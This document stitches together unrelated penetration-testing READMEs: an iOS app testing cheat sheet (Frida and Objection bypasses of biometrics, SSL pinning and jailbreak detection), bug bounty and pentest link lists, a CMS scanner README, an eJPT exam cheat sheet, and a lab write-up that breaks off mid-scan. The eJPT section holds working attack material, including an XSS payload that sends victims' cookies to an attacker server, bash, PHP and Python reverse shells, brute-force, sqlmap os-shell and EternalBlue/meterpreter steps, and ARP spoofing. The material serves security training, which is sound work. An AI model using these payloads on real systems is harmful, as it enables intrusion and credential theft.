To inspect/edit database files on your iOS device, use [SQLite 3](#cydia-sources-and-tools); [SSH](#ssh-to-your-ios-device) to your iOS device and run the following commands:
```sql
sqlite3 somefile
.dump
.tables
SELECT * FROM sometable;
.quit
```
[Property Lister](#property-lister) will dump all databases in plain-text automatically.
### Property Lister
Unpack e.g. `someapp.ipa` or [decrypted.ipa](#pull-a-decrypted-ipa) (preferred).
Dump all the databases, and extract and convert all the property list files inside an IPA:
```fundamental
property-lister -db Payload -o results_db
property-lister -pl Payload -o results_pl
```
Repeat the same for [the app specific directories](#3-search-for-files-and-directories).
### Nuclei
Download mobile Nuclei templates:
```fundamental
git clone https://github.com/optiv/mobile-nuclei-templates ~/mobile-nuclei-templates
```
Unpack e.g. `someapp.ipa` or [decrypted.ipa](#pull-a-decrypted-ipa) (preferred).
Search for hardcoded sensitive data:
```bash
echo Payload | nuclei -t ~/mobile-nuclei-templates/Keys -o nuclei_keys_results.txt
cat nuclei_keys_results.txt | grep -Po '(?<=\]\ ).+' | sort -uf > nuclei_keys_results_sorted.txt
```
### Backups
Get your iOS device UDID:
```fundamental
idevice_id -l
```
Create a backup:
```bash
idevicebackup2 backup --full -u $(idevice_id -l) ./backup
```
App should not backup any sensitive data.
Restore from a backup:
```bash
idevicebackup2 restore -u $(idevice_id -l) ./backup
```
---
Browse backups using [iExplorer](https://macroplant.com/iexplorer) (demo) for Windows OS. There are many other iOS backup tools, but they cannot browse app specific directories.
iExplorer's default directory for storing iOS backups:
```fundamental
C:\Users\%USERNAME%\AppData\Roaming\Apple Computer\MobileSync\Backup
```
You can place your backups in either this directory or change it in settings.
<p align="center"><img src="https://github.com/ivan-sincek/ios-penetration-testing-cheat-sheet/blob/main/img/iexplorer.png" alt="iExplorer"></p>
<p align="center">Figure 6 - iExplorer</p>
<p align="center"><img src="https://github.com/ivan-sincek/ios-penetration-testing-cheat-sheet/blob/main/img/iexplorer_browse.png" alt="Browse a backup using iExplorer"></p>
<p align="center">Figure 7 - Browse a backup using iExplorer</p>
## 5. Deeplinks
Create an HTML template to manually test deeplinks:
```bash
mkdir ios_deeplinks
# multiple URL schemes
for scheme in $(cat url_schemes.txt); do for url in $(cat urls.txt | grep -Poi "${scheme}\:\/\/.+"); do if [[ ! -z $url ]]; then echo -n "<a href='${url}'>${url}</a>\n<br><br>\n" | tee -a "ios_deeplinks/${scheme}_deeplinks.html"; fi; done; done
# single URL scheme
scheme="somescheme"; for string in $(cat urls.txt | grep -Poi "${scheme}\:\/\/.+"); do echo -n "<a href='${string}'>${string}</a>\n<br><br>\n"; done | tee -a "ios_deeplinks/${scheme}_deeplinks.html"
python3 -m http.server 9000 --directory ios_deeplinks
```
For `url_schemes.txt` see section [Info.plist](#infoplist), and for `urls.txt` see section [4. Inspect Files](#4-inspect-files).
---
Fuzz deeplinks using [ios-url-scheme-fuzzing](https://codeshare.frida.re/@ivan-sincek/ios-url-scheme-fuzzing) script with [Frida](#6-frida):
```fundamental
frida -U -no-pause -l ios-url-scheme-fuzzing.js -f com.someapp.dev
frida -U -no-pause --codeshare ivan-sincek/ios-url-scheme-fuzzing -f com.someapp.dev
```
Check the source code for more instructions. You can also paste the whole source code directly into Frida and call the methods as you prefer.
---
Sometimes, deeplinks can bypass biometrics.
## 6. Frida
Useful resources:
* [frida.re](https://frida.re/docs/home)
* [learnfrida.info](https://learnfrida.info)
* [codeshare.frida.re](https://codeshare.frida.re)
* [github.com/dweinstein/awesome-frida](https://github.com/dweinstein/awesome-frida)
* [github.com/interference-security/frida-scripts](https://github.com/interference-security/frida-scripts)
* [github.com/m0bilesecurity/Frida-Mobile-Scripts](https://github.com/m0bilesecurity/Frida-Mobile-Scripts)
List processes:
```bash
frida-ps -Uai
frida-ps -Uai | grep -i 'keyword'
```
Get PID for a specified keyword:
```bash
frida-ps -Uai | grep -i 'keyword' | cut -d ' ' -f 1
```
Discover internal methods/calls:
```bash
frida-discover -U -f com.someapp.dev | tee frida_discover.txt
```
Trace internal methods/calls:
```bash
frida-trace -U -p 1337
frida-trace -U -p 1337 -i 'recv*' -i 'send*'
```
### Frida Scripts
Bypass biometrics using [ios-touch-id-bypass](https://codeshare.frida.re/@ivan-sincek/ios-touch-id-bypass) script:
```fundamental
frida -U -no-pause -l ios-touch-id-bypass.js -f com.someapp.dev
frida -U -no-pause --codeshare ivan-sincek/ios-touch-id-bypass -f com.someapp.dev
```
On the touch ID prompt, press `Cancel`.
I prefer to use the built-in method in [Objection](#bypasses).
---
Hook all classes and methods using [ios-hook-classes-methods](https://codeshare.frida.re/@ivan-sincek/ios-hook-classes-methods) script:
```fundamental
frida -U -no-pause -l ios-hook-classes-methods.js -f com.someapp.dev
frida -U -no-pause --codeshare ivan-sincek/ios-hook-classes-methods -f com.someapp.dev
```
## 7. Objection
Useful resources:
* [github.com/sensepost/objection](https://github.com/sensepost/objection)
Run:
```fundamental
objection -g com.someapp.dev explore
```
Run a [Frida](#6-frida) script in Objection:
```fundamental
import somescript.js
objection -g com.someapp.dev explore --startup-script somescript.js
```
Get information:
```fundamental
ios info binary
ios plist cat Info.plist
```
Get environment variables:
```fundamental
env
```
Get HTTP cookies:
```fundamental
ios cookies get
```
Dump Keychain, NSURLCredentialStorage, and NSUserDefaults:
```fundamental
ios keychain dump
ios nsurlcredentialstorage dump
ios nsuserdefaults get
```
Sensitive data such as app's PIN, password, etc. should not be stored as a plain-text in the keychain; instead, they should be hashed as an additional level of protection.
Dump app's memory to a file:
```fundamental
memory dump all mem.dmp
```
Dump app's memory after e.g. 10 minutes of inactivity, then, check if sensitive data is still in the memory, see section [4. Inspect Files](#4-inspect-files).
**In case Objection detaches from the app, use the process ID to attach it back without restarting the app.**
Search app's memory directly:
```bash
memory search 'somestring' --string
```
List classes and methods:
```bash
ios hooking list classes
ios hooking search classes 'keyword'
ios hooking list class_methods 'someclass'
ios hooking search methods 'keyword'
```
Hook on a class or method:
```bash
ios hooking watch class 'someclass'
ios hooking watch method '-[someclass somemethod]' --dump-args --dump-backtrace --dump-return
```
Change the method's return value:
```bash
ios hooking set return_value '-[someclass somemethod]' false
```
Monitor crypto libraries:
```fundamental
ios monitor crypto
```
Monitor the pasteboard:
```fundamental
ios pasteboard monitor
```
You can also dump the pasteboard using [cycript](#dump-the-pasteboard).
### Bypasses
Bypass a jailbreak detection:
```bash
ios jailbreak disable --quiet
objection -g com.someapp.dev explore --startup-command 'ios jailbreak disable --quiet'
```
Also, on your iOS device, check `A-Bypass` in `Settings` app.
---
Bypass SSL pinning:
```bash
ios sslpinning disable --quiet
objection -g com.someapp.dev explore --startup-command 'ios sslpinning disable --quiet'
```
Also, on your iOS device, check [SSL Kill Switch 2](#ssl-kill-switch-2) in `Settings` app.
---
Bypass biometrics:
```bash
ios ui biometrics_bypass --quiet
objection -g com.someapp.dev explore --startup-command 'ios ui biometrics_bypass --quiet'
```
Also, you can import [Frida](#frida-scripts) script.
## 8. Repackage an IPA
[SSH](#ssh-to-your-ios-device) to your iOS device and run the following commands.
Navigate to the app specific directory:
```bash
cd /private/var/containers/Bundle/Application/XXX...XXX/
```
Repackage the IPA:
```fundamental
mkdir Payload
cp -r someapp.app Payload
zip -r repackaged.ipa Payload
rm -rf Payload
```
On your Kali Linux, download the repackaged IPA:
```fundamental
scp [email protected]:/private/var/containers/Bundle/Application/XXX...XXX/repackaged.ipa ./
```
If you want to pull a decrypted IPA from your iOS device, see section [Pull a Decrypted IPA](#pull-a-decrypted-ipa).
## 9. Miscellaneous
### Monitor the System Log
On your Kali Linux, run the following command:
```fundamental
idevicesyslog -p 1337
```
### Monitor File Changes
[SSH](#ssh-to-your-ios-device) to your iOS device, then, download and run [Filemon](http://www.newosxbook.com):
```bash
wget http://www.newosxbook.com/tools/filemon.tgz && tar zxvf filemon.tgz && chmod 777 filemon
./filemon -c -f com.someapp.dev
```
Always look for created or cached files, images/screenshots, etc. Use `nano` to edit files directly on your iOS device.
Sensitive files such as know your customer (KYC) and similar, should not persists in the app specific directories on the user device after the file upload.
Images/screenshots path:
```fundamental
cd /var/mobile/Containers/Data/Application/YYY...YYY/Library/SplashBoard/Snapshots
```
### Dump the Pasteboard
After copying sensitive data, the app should wipe the pasteboard after a short period of time.
[SSH](#ssh-to-your-ios-device) to your iOS device and run the following commands:
```fundamental
cycript -p 1337
[UIPasteboard generalPasteboard].items
```
Press `CTRL + D` to exit.
You can also monitor the pasteboard in [Objection](#7-objection).
### Get the Provisioning Profile
```fundamental
scp [email protected]:/private/var/containers/Bundle/Application/XXX...XXX/*.app/embedded.mobileprovision ./
openssl smime -inform der -verify -noverify -in embedded.mobileprovision
```
## 10. Tips and Security Best Practices
Bypass any keyboard restriction by copying and pasting data into an input field.
Access tokens should be short lived, and if possible, invalidated on logout.
Don't forget to test widgets, push notifications, app extensions, and Firebase.
---
App should not disclose sensitive data in the predictive text (due to incorrectly defined input field type), app switcher, and push notifications.
App should warn a user when taking a screenshot of sensitive data.
App should warn a user that it is trivial to bypass biometrics authentication if iOS device is jailbroken.
Production app (i.e. build) should never be debuggable.
## 11. Useful Websites and Tools
* [zxing.org/w/decode.jspx](https://zxing.org/w/decode.jspx) (decode QR codes)
* [developer.apple.com/account](https://developer.apple.com/account) (code signing certificates, etc.)
* [developer.apple.com/apple-pay/sandbox-testing](https://developer.apple.com/apple-pay/sandbox-testing) (test debit/credit cards for Apple Pay)
* [youtube.com/\@iDeviceMovies](https://www.youtube.com/\@iDeviceMovies) (useful videos about jailbreaking, etc.)
* [altstore.io](https://altstore.io) \([fix the installation issue](https://github.com/altstoreio/AltStore/issues/156#issuecomment-717133644)\) (alt. app store, jailbreak is not required)
|
### Resources For BugBounty Hunters
Forums
1. BugBountyForum
2. BugBountyWorld
Practise :
1. https://www.hacksplaining.com/lessons
2. https://www.amanhardikar.com/mindmaps/Practice.html
3. http://www.pentesterlabs.com/
4. https://attackdefense.com/
5. https://www.hackthebox.eu/
6. https://picoctf.com/
7. https://www.root-me.org/?lang=en
Blogs
Getting Started
1. https://forum.bugcrowd.com/t/researcher-resources-how-to-become-a-bug-bounty-hunter/1102
2. https://forum.bugcrowd.com/t/researcher-resources-tutorials/370
3. https://www.hackerone.com/blog/become-a-successful-bug-bounty-hunter
4. https://www.stationx.net/how-to-become-a-bug-bounty-hunter/
5. https://hackwarenews.com/top-hacking-simulator-games-every-aspiring-hacker-should-play-part-1/
6. https://lifehacker.com/how-to-earn-money-as-a-bug-bounty-hunter-1797946520
7. https://www.bugcrowd.com/blog/how-to-use-bug-bounties-to-build-your-career-bug-bounty-hunter-methodology/
Tools
1. https://forum.bugcrowd.com/t/researcher-resources-tools/167
Online
1. https://backdoor.sdslabs.co/beginner
2. https://www.hackthebox.eu/
3. https://pwnable.tw/
4. https://ringzer0ctf.com/
5. https://www.vulnhub.com/
6. http://captf.com/practice-ctf/
Videos
Resources :
1. https://github.com/onlurking/awesome-infosec
2. https://www.commandlinefu.com/commands/browse
3. http://programming-motherfucker.com/become.html
Youtube :
1. https://www.youtube.com/user/JackkTutorials/videos
2. https://www.youtube.com/user/DEFCONConference/videos
3. https://www.youtube.com/user/Hak5Darren/playlists
4. https://www.youtube.com/user/hackfestca/videos
5. https://www.youtube.com/channel/UCo1NHk_bgbAbDBc4JinrXww/videos
6. https://www.youtube.com/watch?v=fDeLtKUxTmM
7. https://www.youtube.com/channel/UCHvUTfxL_9bNQgqzekPWHtg
CIS BenchMarks :
1. https://www.cisecurity.org/cis-benchmarks/ |
<p align='center'>
<img src="https://i.imgur.com/n2U6nVH.png" alt="Logo"> <br>
<img src="https://img.shields.io/badge/Version-1.0.2%20Beta-brightgreen.svg?style=style=flat-square" alt="version">
<img src="https://img.shields.io/badge/python-3-orange.svg?style=style=flat-square" alt="Python Version">
<img src="https://img.shields.io/aur/license/yaourt.svg?style=style=flat-square" alt="License">
</p>
## What is a CMS?
> A content management system (CMS) manages the creation and modification of digital content. It typically supports multiple users in a collaborative environment. Some noteable examples are: *WordPress, Joomla, Drupal etc*.
## Release History
```
- Version 1.0.3 [06-07-2018]
- Version 1.0.2 [06-07-2018]
- Version 1.0.1 [19-06-2018]
- Version 1.0.0 [15-06-2018]
```
[Changelog File](https://github.com/Tuhinshubhra/CMSeeK/blob/master/CHANGELOG)
## Functions Of CMSeek:
- Basic CMS Detection of over 20 CMS
- Advanced Wordpress Scans
- Detects Version
- Detects Users (3 Detection Methods)
- Looks for Version Vulnerabilities and much more!
- Modular bruteforce system
- Use pre made bruteforce modules or create your own and integrate with it
## Requirements and Compatibility:
CMSeeK is built using **python3**, you will need python3 to run this tool and is compitable with **unix based systems** as of now. Windows support will be added later. CMSeeK relies on **git** for auto-update so make sure git is installed.
## Installation and Usage:
It is fairly easy to use CMSeeK, just make sure you have python3 and git (just for cloning the repo) installed and use the following commands:
- git clone `https://github.com/Tuhinshubhra/CMSeeK`
- cd CMSeeK
For guided scanning:
- python3 cmseek.py
Else:
- python3 cmseek.py -u <target_url> [...]
The rest should be pretty self explanotory.
## Checking For Update:
You can check for update either from the main menu or use `python3 cmseek.py --update` to check for update and apply auto update.
P.S: Please make sure you have `git` installed, CMSeeK uses git to apply auto update.
## Detection Methods:
CMSeek uses mainly 2 things for detection:
- HTTP Headers
- Page Source Code
## Supported CMSs:
CMSeeK currently can detect **22** CMSs, you can find the list on [cmss.py](https://github.com/Tuhinshubhra/CMSeeK/blob/master/cmseekdb/cmss.py) file which is present in the `cmseekdb` directory.
All the cmss are stored in the following way:
```
cmsID = {
'name':'Name Of CMS',
'url':'Official URL of the CMS',
'vd':'Version Detection (0 for no, 1 for yes)',
'deeps':'Deep Scan (0 for no 1 for yes)'
}
```
## Scan Result:
All of your scan results are stored in a json file named `cms.json`, you can find the logs inside the `Result\<Target Site>` directory, and as of the bruteforce results they're stored in a txt file under the site's result directory as well.
Here is an example of the json report log:
## Bruteforce Modules:
CMSeek has a modular bruteforce system meaning you can add your custom made bruteforce modules to work with cmseek. A proper documentation for creating modules will be created shortly but in case you already figured out how to (pretty easy once you analyze the pre-made modules) all you need to do is this:
1. Add a comment exactly like this `# <Name Of The CMS> Bruteforce module`. This will help CMSeeK to know the name of the CMS using regex
2. Add another comment `### cmseekbruteforcemodule`, this will help CMSeeK to know it is a module
3. Copy and paste the module in the `brutecms` directory under CMSeeK's directory
4. Open CMSeeK and Rebuild Cache using `U` as the input in the first menu.
5. If everything is done right you'll see something like this (refer to screenshot below) and your module will be listed in bruteforce menu the next time you open CMSeeK.
<p align='center'>
<img alt="Cache Rebuild Screenshot" width="400px" src="https://i.imgur.com/2Brl7pl.png" />
</p>
## Need More Reasons To Use CMSeeK?
If not anything you can always enjoy exiting CMSeeK *(please don't)*, it will bid you goodbye in a random goodbye message in various languages.
Also you can try reading comments in the code those are pretty random and weird!!!
## Screenshots:
<p align="center">
<img alt="Main Menu" width="600px" src="https://i.imgur.com/KdRSYzP.png" />
<br><em>Main Menu</em><br>
<img alt="Scan Result" width="600px" src="https://i.imgur.com/C8SKQ1D.png" />
<br><em>Scan Result</em><br>
<img alt="WordPress Scan Result" width="600px" src="https://i.imgur.com/CK4O1Yd.png" />
<br><em>WordPress Scan Result</em><br>
</p>
## Opening issue:
Please make sure you have the following info attached when opening a new issue:
- Target
- Exact copy of error or screenshot of error
- Your operating system
**Issues without these informations might not be answered!**
## Disclaimer:
**Usage of CMSeeK for testing or exploiting websites without prior mutual consistency can be considered as an illegal activity. It is the final user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program.**
## License:
CMSeeK is licensed under [GNU General Public License v3.0](https://github.com/Tuhinshubhra/CMSeeK/blob/master/LICENSE)
## Follow Me @r3dhax0r:
[Twitter](https://twitter.com/r3dhax0r) || [Facebook](https://fb.com/r3dhax0r) || [Instagram](https://instagram.com/r3dhax0r)
## Team:
[Team : Virtually Unvoid Defensive (VUD)](https://twitter.com/virtuallyunvoid)
|
# PenTest CheatSheets
This is a repo for pentest cheat sheets which I have found useful!!
1. https://pentestbook.six2dez.com/others/web-checklist is pentest `#Checklist`.
2. https://github.com/trimstray/the-book-of-secret-knowledge#hackingpenetration-testing-toc is a complete cheatsheet. `#CheatSheet`
3. https://github.com/enaqx/awesome-pentest is a complete cheatsheet. `#CheatSheet`
4. https://github.com/enaqx/awesome-pentest for Pentest cheatsheet. `#CheatSheet`
5. https://github.com/riramar/Web-Attack-Cheat-Sheet for Pentest cheatsheet. `#CheatSheet`
6. https://github.com/swisskyrepo/PayloadsAllTheThings for various attacks paloads. `#attackPayloads`
7. https://github.com/tennc/webshell for collection of web shells. `#webshells`
8. https://portswigger.net/web-security/cross-site-scripting/cheat-sheet for XSS cheat sheets. `#XSS`
9. https://github.com/Walidhossain010/WAF-bypass-xss-payloads for XSS payloads for bypassing WAFs. `#XSS #WAF`
10. https://book.hacktricks.xyz/pentesting-web/file-upload for file upload cheat sheets. `#fileUpload`
11. https://github.com/modzero/mod0BurpUploadScanner for upload scanner for burp. `#uploadScanner`
12. https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/dpapi-extracting-passwords for DPAPI - Extracting Passwords. `#Crypto`
13. https://www.beyondtrust.com/resources/glossary/pass-the-hash-pth-attack for Pass-the-Hash(PtH) Attack. `#Crypto`
14. https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/ for TLS Vulnerabilities. `#TLS`
15. https://www.cloudinsidr.com/content/known-attack-vectors-against-tls-implementation-vulnerabilities/ for Attack vectors against TLS. `#TLS`
16. https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html for REST Security Cheat Sheet. `#API`
17. https://owasp.org/www-project-api-security/ for API testing. `#API`
18. https://blog.nvisium.com/angular-for-pentesters-part-1 is Angular And AngularJS For Pentesters. `#Angular`
19. https://portswigger.net/web-security/websockets for WebSocket Pentesting. `#WebSocket`
20. https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html for REST API Pentesting. `#REST_API`
21. https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS for CORS. `#CORS`
22. https://github.com/cipher387/Dorks-collections-list/ for Dorks. `#Dork`
23. https://github.com/gquere/pwn_jenkins for Pentesting Jenkins. `#Jenkins`
24. https://many-passwords.github.io/ for collection of default passwords. `#default #password`
25. https://github.com/arainho/awesome-api-security for API PenTest. `#API #Pentest`
## Pentest Report
1. https://github.com/juliocesarfort/public-pentesting-reports for PenTesting report samples. `#Report`
2. https://cure53.de/ for pentest reports of popular applications. `#reports #popular_apps`
## Code Analysis
1.https://deepscan.io/demo/ for statically analyzing JS, VUE, and React code. `#staticAnalysis`
## Pentest Methodology
1. http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines for pentest methodology. `#methodology`
## Asset Discovery and Enumeration
1. https://github.com/OWASP/Amass
2. https://github.com/redhuntlabs/Awesome-Asset-Discovery
## Learning to PenTest
These websites are recommended for learning to Pentest.
1. https://www.hackthebox.eu/
2. https://tryhackme.com/
3. https://www.root-me.org/
4. https://github.com/Ignitetechnologies/HackTheBox-CTF-Writeups `HackTheBox CTF Cheatsheet`
## FireEye Red Team to learn!
1. https://github.com/PowerShellMafia/PowerSploit
2. https://www.cobaltstrike.com/help-beacon
3. https://github.com/GhostPack/Seatbelt
4. https://github.com/cobbr/SharpSploit
5. https://github.com/med0x2e/RT-EWS
6. https://github.com/med0x2e/GadgetToJScript
7. https://github.com/SecureAuthCorp/impacket
8. https://github.com/Kevin-Robertson/InveighZero
9. https://github.com/denandz/KeeFarce
10. https://github.com/med0x2e/NET-Assembly-Inject-Remote
11. https://github.com/med0x2e/NoAmci/
12. https://github.com/GhostPack/Rubeus
13. https://github.com/GhostPack/SafetyKatz
14. https://github.com/IllidanS4/SharpUtils/
15. https://github.com/hoangprod/AndrewSpecial
16. https://github.com/rasta-mouse/RuralBishop
## Android Apps Security Evaluation and PenTest
1. https://github.com/OWASP/owasp-mstg
## Scanners for popular and dangerous vulnerabilities
1. https://github.com/fullhunt/log4j-scan `CVE-2021-44228 - Apache Log4j RCE Scanner` `#log4j`
## Android
1. https://github.com/saeidshirazi/awesome-android-security
## Building Pentest Environment
1. https://github.com/cybersecsi/HOUDINI
|
# eJPT
some eLearnSecurity eJPT exam preparation materials
### nmap + fping
hosts discovery fping:
```bash
fping -a -g 10.10.10.0/24 2> fping.txt
```
hosts discovery nmap:
```bash
nmap -sn 10.10.10.0/24 > hosts.txt
nmap -sn -T4 10.10.30.0/24 -oG - | awk '/Up$/{print $2}'
```
open ports scan (save to file):
```bash
nmap -Pn -sV -T4 -A -oN ports.txt -p- -iL hosts.txt --open
```
UDP port scan:
```bash
nmap -sU -sV 10.10.10.0/24
```
nmap vuln scan example:
```bash
nmap --script vuln --script-args=unsafe=1 -iL hosts.txt
```
nmap SYN flood example:
```bash
watch -n 10 "nmap -e wlan0 -Pn -T5 -S 192.168.0.253 192.168.0.251"
```
### masscan
masscan open only examples:
```bash
sudo masscan -p 21,22,80,8080,445,9200 --rate 64000 --wait 0 --open-only -oG masscan.gnmap 10.0.0.0/24
sudo masscan -iL hosts.list -p0-65535 --rate 64000 --open-only
```
### httprint
httprint banner grabling:
```bash
httprint -P0 -s /usr/share/httprint/signatures.txt -h 10.10.10.15
```
### route
add a route in kali/parrot:
```bash
ip route add 192.168.88.0/24 via 10.10.34.1
```
routing table:
```bash
netstat -rn
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt Iface
...
192.168.88.0 10.10.34.1 255.255.255.0 UG 0 0 0 tap0
...
```
### subdomains
discovery subdomain of a target by sublist3r:
```bash
sublist3r -d company.com
```
## wireshark
filter by ip
```bash
ip.add == 10.10.10.9
```
filter by dest ip
```bash
ip.dest == 10.10.10.15
```
filter by source ip
```bash
ip.src == 10.10.16.33
```
filter by tcp port
```bash
tcp.port == 25
```
filter by ip addr and port
```bash
ip.addr == 10.10.14.22 and tcp.port == 8080
```
filter SYN flag
```bash
tcp.flags.syn == 1 and tcp.flags.ack ==0
```
broadcast filter
```bash
eth.dst == ff:ff:ff:ff:ff:ff
```
### web app enum (gobuster)
```bash
nc -v 10.10.10.14 80
HEAD / HTTP/1.0
openssl s_client -connect 10.10.10.14:443
dirb http://10.10.10.123/
dirb https://10.10.10.5 /usr/share/dirb/wordlists/vulns/apache.txt
dirb https://192.168.16.33 /usr/share/dirb/wordlists/common.txt
gobuster dir -u http://10.10.10.160 -w /usr/share/wordlists/dirb/common.txt -t 16
```
### web app enum (ffuf)
directory discovery:
```bash
ffuf -w wordlist.txt -u http://example.com/FUZZ
```
file discovery:
```bash
ffuf -w wordlist.txt -u http://example.com/FUZZ -e .aspx,.php,.txt,.html
```
output of responses with status code:
```bash
ffuf -w /usr/share/wordlists/dirb/small.txt -u http://example.com/FUZZ -mc 200,301
```
the -maxtime flag offers to end the ongoing fuzzing after the specified time in seconds:
```bash
ffuf -w wordlist.txt -u http://example.com/FUZZ -maxtime 60
```
number of threads:
```bash
ffuf -w wordlist.txt -u http://example.com/FUZZ -t 64
```
### sqlmap
determine the databases:
```bash
sqlmap -u http://10.10.10.15/?id=4 --dbs
```
determine the tables:
```bash
sqlmap -u http://10.10.10.15/?id=4 -D dbname --tables
```
dump a table's data:
```bash
sqlmap -u http://10.10.10.15/?id=4 -D dbname -T table --dump
```
try to get os-shell:
```bash
sqlmap -u http://10.10.10.15/?id=4 --os-shell
```
### xss
check example:
```javascript
<script>alert("hack :)")</script>
```
#### hijack cookie through xss
there are four components as follows:
- attacker client pc
- attacker logging server
- vulnerable server
- victim client pc
1) attacker: first finds a vulnerable server and its breach point.
2) attacker: enter the following snippet in order to hijack the cookie kepts by victim client pc (p.s.: the ip address, 192.168.99.102, belongs to attacker logging server in this example):
```javascript
<script>var i = new Image();i.src="http://192.168.99.102/log.php?q="+document.cookie;</script>
```
3) attacker: log into attacker logging server (P.S.: it is 192.168.99.102 in this example), and execute the following command:
```bash
nc -vv -k -l -p 80
```
4) attacker: when victim client pc browses the vulnerable server, check the output of the command above.
5) attacker: after obtaining the victim's cookie, utilize a firefox's add-on called Cookie Quick Manager to change to the victim's cookie in an effort to hijack the victim's privilege.
### bruteforce (hydra, john, hashcat)
wordlist generation
```bash
cewl example.com -m 3 -w wordlist.txt
```
hydra http basic auth brute
```bash
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt example.com http-head /admin/
```
hydra brute http digest
```bash
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt example.com http-get /admin/
```
hydra brute http post form
```bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt example.com https-post-form "/login.php:username=^USER^&password=^PASS^&login=Login:Not allowed"
```
hydra brute http authenticated post form
```bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt example.com https-post-form "/login.php:username=^USER^&password=^PASS^&login=Login:Not allowed:H=Cookie\: PHPSESSID=if0kg4ss785kmov8bqlbusva3v"
```
hydra brute
```bash
hydra -f -v -V -L users.txt -P rockyou-15.txt -s 2223 -f ssh://10.10.10.17
hydra -v -V -l admin -P rockyou-10.txt ssh://10.10.10.18
```
combine passwd with shadow file for john the ripper:
```bash
unshadow passwd shadow > crack.hash
```
john the ripper bruteforce:
```bash
john -wordlist /usr/share/wordlists/rockyou.txt crack.hash
john -wordlist /usr/share/wordlists/rockyou.txt -users users.txt test.hash
```
hashcat:
```bash
hashcat -m 1000 -a 0 -o found.txt --remove crack.hash rockyou-10.txt
```
### wpscan
```bash
wpscan --url http://10.10.10.14 --enumerate u
wpscan --url example.com -e vp --plugins-detection mixed --api-token API_TOKEN
wpscan --url example.com -e u --passwords /usr/share/wordlists/rockyou.txt
wpscan --url example.com -U admin -P /usr/share/wordlists/rockyou.txt
```
### mysql
scan:
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 10.10.10.13
```
examples:
```bash
mysql -h 10.10.10.23 -P 13306 -u root -p -e "show databases;"
mysql -h 10.10.10.23 -P 13306 -u root -p -e "use mydb;show tables;"
mysql -h 10.10.10.23 -P 13306 -u root -p -e "use mydb;select * from users;"
```
### msfconsole
search exploit
```bash
msf> search cve:2011 port:135 platform:windows target:XP
```
basic
```bash
msfconsole
use auxiliary/scanner/mssql/mssql_login
set rhosts 10.10.10.110
set rports 1433
set username admin
set password 12345
set verbose true
run
```
### msfconsole examples
msssql enum
```bash
use auxiliary/scanner/mssql/mssql_enum
set username admin
set password 12345
set rhosts 10.10.10.177
set rport 1433
run
```
mssql payload
```bash
use exploit/windows/mssql/mssql_payload
set rhosts 10.10.10.177
set rport 1433
set srvport 53
set username admin
set password qwerty
set payload windows/x64/meterpreter_reverse_tcp
```
ssh login enum (brute)
```bash
use auxiliary/scanner/ssh/ssh_login
show options
set rhosts 10.10.10.133
set user_file /usr/share/ncrack/minimal.usr
set pass_file /usr/share/ncrack/minimal.usr
set verbose true
run
```
eternal blue example:
```bash
use exploit/windows/smb/ms17_010_eternalblue
show options
set payload windows/x64/meterpreter/reverse_tcp
```
### meterpreter
```bash
meterpreter>run autoroute -s 172.16.50.0/24
background
sessions -l
sessions -i 1
sysinfo, ifconfig, route, getuid
getsystem (privesc)
bypassuac
download x /root/
upload x C:\\Windows
shell
use post/windows/gather/hashdump
```
### windows shares with null sessions
enumeration with kali/parrot tools:
```
nmblookup -A 10.16.64.223
smbclient -L //10.16.64.223 -N share
smbclient //10.16.64.223/share -N mount
enum4linux -a 10.10.10.13
```
enumeration with nmap:
```bash
ll /usr/share/nmap/scripts/ | grep smb-enum-
-rw-r--r-- 1 root root 4846 Jan 9 2019 smb-enum-domains.nse
-rw-r--r-- 1 root root 5931 Jan 9 2019 smb-enum-groups.nse
-rw-r--r-- 1 root root 8045 Jan 9 2019 smb-enum-processes.nse
-rw-r--r-- 1 root root 27262 Jan 9 2019 smb-enum-services.nse
-rw-r--r-- 1 root root 12057 Jan 9 2019 smb-enum-sessions.nse
-rw-r--r-- 1 root root 6923 Jan 9 2019 smb-enum-shares.nse
-rw-r--r-- 1 root root 12531 Jan 9 2019 smb-enum-users.nse
nmap --script=smb-enum-users 192.168.1.10
```
#### null sessions
1) Use "enum4linux -n" to make sure if "<20>" exists:
```bash
enum4linux -n 192.168.1.10
```
2) If "<20>" exists, it means Null Session could be exploited. Utilize the following command to get more details:
```bash
enum4linux 192.168.1.10
```
3) If confirmed that Null Session exists, you can remotely list all share of the target:
```bash
smbclient -L WORKGROUP -I 192.168.1.10 -N -U ""
```
4) You also can connect the remote server by applying the following command:
```bash
smbclient \\\\192.168.1.10\\c$ -N -U ""
```
5) Download those files stored on the share drive:
```bash
smb: \> get Congratulations.txt
```
### ARP spoofing
```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i tap0 -t 10.13.37.100 -r 10.13.37.101
```
### reverse shell
bash
```bash
bash -i >& /dev/tcp/10.0.14.22/4444 0>&1
```
php one line (bash)
```php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.14.10/4444 0>&1'"); ?>
```
python
```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.14.22",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
```
## programming examples
port scanner examples:
[python simple tcp scan example](https://github.com/cocomelonc/ejpt/blob/master/scanner.py)
[golang simple tcp scan example](https://github.com/cocomelonc/ejpt/blob/master/scanner.go)
|
### IP
`10.10.137.94`
# Enumeration
### nmap
`nmap -sC -sV 10.10.137.94 -oN init.nmap`
```
Nmap scan report for 10.10.137.94
Host is up (0.12s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
80/tcp filtered http
